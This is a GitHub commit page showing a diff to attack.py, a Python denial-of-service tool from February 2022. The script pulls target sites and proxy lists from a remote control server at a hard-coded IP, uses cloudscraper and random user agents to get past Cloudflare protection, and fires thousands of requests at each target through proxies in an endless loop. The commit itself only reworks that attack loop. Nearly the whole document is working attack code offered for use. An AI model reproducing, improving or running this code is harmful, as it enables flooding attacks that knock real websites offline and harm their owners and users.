Skip to content

Commit

Permalink
some fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
AlexTrushkovsky committed Feb 26, 2022
1 parent 984091e commit e9c9927
Showing 1 changed file with 18 additions and 14 deletions.
32 changes: 18 additions & 14 deletions attack.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@
import json
import sys

VERSION = 3
VERSION = 4
HOSTS = ["http://46.4.63.238/api.php"]
MAX_REQUESTS = 5000
disable_warnings()
Expand Down Expand Up @@ -57,6 +57,10 @@ def checkUpdate():
checkUpdate()

def mainth():
scraper = cloudscraper.create_scraper(browser={'browser': 'firefox','platform': 'android','mobile': True},)
scraper.headers.update({'Content-Type': 'application/json', 'cf-visitor': 'https', 'User-Agent': random_useragent(), 'Connection': 'keep-alive', 'Accept': 'application/json, text/plain, */*', 'Accept-Language': 'ru', 'x-forwarded-proto': 'https', 'Accept-Encoding': 'gzip, deflate, br'})


while True:
scraper = cloudscraper.create_scraper(browser={'browser': 'firefox','platform': 'android','mobile': True},)
scraper.headers.update({'Content-Type': 'application/json', 'cf-visitor': 'https', 'User-Agent': random_useragent(), 'Connection': 'keep-alive', 'Accept': 'application/json, text/plain, */*', 'Accept-Language': 'ru', 'x-forwarded-proto': 'https', 'Accept-Encoding': 'gzip, deflate, br'})
Expand All @@ -72,19 +76,19 @@ def mainth():
if site.startswith('http') == False:
site = "https://" + site
try:
attack = scraper.get(site)
if attack.status_code >= 200:
for proxy in data['proxy']:
scraper.proxies.update({'http': f'{proxy["ip"]}://{proxy["auth"]}', 'https': f'{proxy["ip"]}://{proxy["auth"]}'})
response = scraper.get(site)
if response.status_code >= 200 and response.status_code <= 302:
for i in range(MAX_REQUESTS):
response = scraper.get(site)
logger.info("ATTACKED; RESPONSE CODE: " + str(response.status_code))
else:
for i in range(MAX_REQUESTS):
response = scraper.get(site)
logger.info("ATTACKED; RESPONSE CODE: " + str(response.status_code))
attack = scraper.get(site)
if attack.status_code >= 302 and attack.status_code >= 200:
for proxy in data['proxy']:
scraper.proxies.update({'http': f'{proxy["ip"]}://{proxy["auth"]}', 'https': f'{proxy["ip"]}://{proxy["auth"]}'})
response = scraper.get(site)
if response.status_code >= 200 and response.status_code <= 302:
for i in range(MAX_REQUESTS):
response = scraper.get(site)
logger.info("ATTACKED; RESPONSE CODE: " + str(response.status_code))
else:
for i in range(MAX_REQUESTS):
response = scraper.get(site)
logger.info("ATTACKED; RESPONSE CODE: " + str(response.status_code))
except:
logger.warning("issue happened")
continue
Expand Down

0 comments on commit e9c9927

Please sign in to comment.